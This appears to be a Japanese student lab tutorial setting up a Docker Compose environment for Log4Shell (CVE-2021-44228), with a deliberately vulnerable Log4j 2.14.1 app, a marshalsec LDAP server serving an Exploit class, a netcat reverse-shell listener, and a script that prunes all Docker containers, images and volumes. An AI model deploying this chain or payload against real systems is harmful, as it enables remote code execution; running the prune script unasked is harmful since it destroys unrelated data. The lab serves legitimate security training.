
#Docker

#Docker-Compose

#LDAP

#Java

#XML

#wsl2

L2: Dockerでサイバーセキュリティの検証環境(CVE-2021-44228)

注意点：このプロジェクトは環境構築だけなので攻撃や対策・修正などは含まれていません。攻撃などを知りたい場合は次のページをご参照ください。

[# Log4Shell \(CVE-2021-44228\)](#)

環境構築に入る前の重要なこと

CVE-2021-44228とは

別名Log4ShellはJavaのログインライブラリ「Apache Log4j」に発見された、CVSSスコア10.0の極めて深刻なりモートコード実行（RCE）の脆弱性です。
遠隔の攻撃者が細工した文字列をログ表題などに送り込むことで、任意のコードを実行させることが可能でした。

Docker-Composeとは

複数のDockerコンテナをまとめて定義し、1つのコマンドで一括起動・停止・管理できるツール。

Docker-Composeに関する用語

コンテナの作り方やコマンドに入る前に理解する必要がある専門的な用語を紹介します。

****docker-compose.yml****: 複数コンテナの構築・実行手順をまとめたファイルを指します。
構築したいコンテナのイメージ(or Dockerfile)が定義されています。
他にも起動順・条件やコンテナ間の接続情報なども定義することができます。

環境構築

プロジェクトの構造図は次のようです

```
.
├── docker-compose.yml
├── ldap-server
│   ├── Dockerfile
│   ├── Exploit.java
│   └── start.sh
└── vulnerable-app
    ├── Dockerfile
    ├── VulnerableApp.java
    └── log4j2.xml
```

1. docker-compose.yml

```
version: '3.8'
```

services:

```
# 脆弱なLog4jアプリケーション（被害者）
```

vulnerable-app:

build:

```
context: ./vulnerable-app
```

```
dockerfile: Dockerfile
```

```
container_name: log4shell-vulnerable
```

ports:

```
- "8080:8080"
```

networks:

```
- poc-network
```

environment:

```
- JAVA_OPTS=-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
```

```
# LDAP攻撃サーバー
```

ldap-server:

build:

```
context: ./ldap-server
```

```
dockerfile: Dockerfile
```

```
container_name: log4shell-ldap
```

ports:

```
- "1389:1389"
```

```
- "8888:8888"
```

networks:

```
- poc-network
```

volumes:

```
- ./ldap-server:/opt/ldap
```

```
# 攻撃者のリスナー（リバーシェル受信）
```

attacker:

```
image: alpine:latest
```

```
container_name: log4shell-attacker
command: sh -c "apk add --no-cache netcat-openbsd && nc -lvnp 9999"
ports:
  - "9999:9999"
networks:
  - poc-network
```

```
networks:
  poc-network:
    driver: bridge
```

2.vulnerable-app/Dockerfile

```
FROM eclipse-temurin:8-jdk-alpine

WORKDIR /app

# 脆弱なLog4j 2.14.1をダウンロード
RUN apk add --no-cache wget && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
    wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar

# アプリケーションのコピー
COPY VulnerableApp.java /app/
COPY log4j2.xml /app/

# コンパイル
RUN javac -cp "log4j-core-2.14.1.jar:log4j-api-2.14.1.jar" VulnerableApp.java

# 実行
CMD ["java", "-cp", ".:log4j-core-2.14.1.jar:log4j-api-2.14.1.jar", "VulnerableApp"]

EXPOSE 8080
```

3.vulnerable-app/VulnerableApp.java

```
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpHandler;
```

```

import com.sun.net.httpserver.HttpExchange;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class VulnerableApp {
    private static final Logger logger =
LogManager.getLogger(VulnerableApp.class);

    public static void main(String[] args) throws IOException {
        HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);

        server.createContext("/", new HttpHandler() {
            @Override
            public void handle(HttpExchange exchange) throws IOException {
                // User-Agentヘッダーをログに記録（脆弱なポイント）
                String userAgent =
exchange.getRequestHeaders().getFirst("User-Agent");
                String xForwardedFor =
exchange.getRequestHeaders().getFirst("X-Forwarded-For");

                // ⚠️ ここでLog4Shellの脆弱性が発動する
                logger.info("Received request from User-Agent: {}",
userAgent);
                logger.info("X-Forwarded-For: {}", xForwardedFor);

                String response = "Hello! Your request has been logged.\n";
                response += "User-Agent: " + userAgent + "\n";
                response += "X-Forwarded-For: " + xForwardedFor + "\n";

                exchange.sendResponseHeaders(200, response.length());
                OutputStream os = exchange.getResponseBody();
                os.write(response.getBytes());
                os.close();
            }
        });

        server.setExecutor(null);
        logger.info("Starting vulnerable Log4j server on port 8080...");
        System.out.println("🔒 Vulnerable Log4j server started on
http://localhost:8080");
        System.out.println("⚠️ Log4j version: 2.14.1 (VULNERABLE to CVE-2021-
44228)");
        server.start();
    }
}

```

```
}  
}
```

4.vulnerable-app/log4j2.xml

```
<?xml version="1.0" encoding="UTF-8"?>  
<Configuration status="WARN">  
  <Appenders>  
    <Console name="Console" target="SYSTEM_OUT">  
      <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36}  
- %msg%n"/>  
    </Console>  
  </Appenders>  
  <Loggers>  
    <Root level="info">  
      <AppenderRef ref="Console"/>  
    </Root>  
  </Loggers>  
</Configuration>
```

5.ldap-server/Dockerfile

```
FROM eclipse-temurin:8-jdk-alpine  
  
WORKDIR /opt/ldap  
  
# 必要なツールをインストール  
RUN apk add --no-cache wget python3 git maven  
  
# marshalsec (JNDI攻撃ツール) をビルド  
RUN git clone https://github.com/mbechler/marshalsec.git /tmp/marshalsec && \  
  cd /tmp/marshalsec && \  
  mvn clean package -DskipTests && \  
  cp target/marshalsec-*-SNAPSHOT-all.jar /opt/ldap/marshalsec.jar  
  
# 悪意のあるペイロードクラス  
COPY Exploit.java /opt/ldap/  
RUN javac Exploit.java  
  
# 起動スクリプト  
COPY start.sh /opt/ldap/
```

```
RUN chmod +x /opt/ldap/start.sh
```

```
EXPOSE 1389 8888
```

```
CMD ["/opt/ldap/start.sh"]
```

6.ldap-server/Exploit.java

```
public class Exploit {
    static {
        try {
            // ⚠️ 実際の攻撃では、ここでリバースシェルを実行するが、
            // 教育目的なので安全なコマンドを実行
            String[] cmd = {
                "/bin/sh",
                "-c",
                "echo '[🚩 EXPLOIT] Log4Shell vulnerability exploited!' && " +
                "echo '[🚩 EXPLOIT] Hostname: '$(hostname) && " +
                "echo '[🚩 EXPLOIT] User: '$(whoami) && " +
                "echo '[🚩 EXPLOIT] This is a proof of concept.' && " +
                "echo '[🚩 EXPLOIT] In real attack, attacker would get shell
access.'"
            };

            Runtime.getRuntime().exec(cmd);

            System.out.println("[LDAP SERVER] ✅ Exploit.class loaded!");
            System.out.println("[LDAP SERVER] ⚠️ In real attack, attacker
would execute malicious payload here.");

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

7.ldap-server/start.sh

```
#!/bin/sh
```

```
echo "[LDAP SERVER] 🌐 Starting HTTP server on port 8888 for serving
```

```
Exploit.class..."
cd /opt/ldap
python3 -m http.server 8888 &

sleep 2

echo "[LDAP SERVER] 🚧 Starting LDAP server on port 1389..."
echo "[LDAP SERVER] ⌚ Waiting for exploit requests..."

# marshalsecでLDAPサーバーを起動
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://log4shell-ldap:8888/#Exploit" 1389
```

8. 環境の起動

```
# ディレクトリに移動
cd 「自分のプロジェクトのフォルダ」

# Docker環境を起動
(sudo)docker-compose up --build -d

# ログを確認
(sudo)docker-compose logs -f
```

注意点: Dockerグループに入っていない場合はdockerのコマンドをsudoで実行しないとエラーになります。

```
student@Cyber25-027:~/L2$ docker ps
permission denied while trying to connect to the docker API at unix:///var/run/docker.sock
```

9. ログの出力

```

student@Cyber25-027:~/L2$ sudo docker compose logs -f
WARN[0000] /home/student/L2/docker-compose.yml: the attribute 'version' is obsolete, it will be ignored, please remove it to avoid potential confusion
log4shell-attacker | (1/3) Installing libmd (1.2.0-r0)
log4shell-attacker | (2/3) Installing libbsd (0.12.2-r0)
log4shell-attacker | (3/3) Installing netcat-openbsd (1.234.1-r0)
log4shell-attacker | Executing busybox-1.37.0-r31.trigger
log4shell-attacker | OK: 8359 KiB in 19 packages
log4shell-attacker | Listening on 0.0.0.0 9999
log4shell-vulnerable | 03:25:26.328 [main] INFO VulnerableApp - Starting vulnerable Log4j server on port 8080...
log4shell-vulnerable | 📌 Vulnerable Log4j server started on http://localhost:8080
log4shell-vulnerable | ⚠️ Log4j version: 2.14.1 (VULNERABLE to CVE-2021-44228)
log4shell-ldap | [LDAP SERVER] 🌐 Starting HTTP server on port 8888 for serving Exploit.class...
log4shell-ldap | [LDAP SERVER] 📌 Starting LDAP server on port 1389...
log4shell-ldap | [LDAP SERVER] ⌚ Waiting for exploit requests...
log4shell-ldap | Error: Could not find or load main class marshalsec.jndi.LDAPRefServer

```

10. 補足: remover.sh

```
#!/bin/bash
```

```

sudo docker stop $(sudo docker ps -aq)
sudo docker rm $(sudo docker ps -aq)
sudo docker system prune -a --volumes -f

```

プロジェクト直下に入れて実行したらすべてのコンテナ、イメージ、ボリュームを削除してくれる。

```

.
├── docker-compose.yml
├── ldap-server
│   ├── Dockerfile
│   ├── Exploit.java
│   └── start.sh
├── remover.sh
├── vulnerable-app
│   ├── Dockerfile
│   ├── VulnerableApp.java
│   └── log4j2.xml

```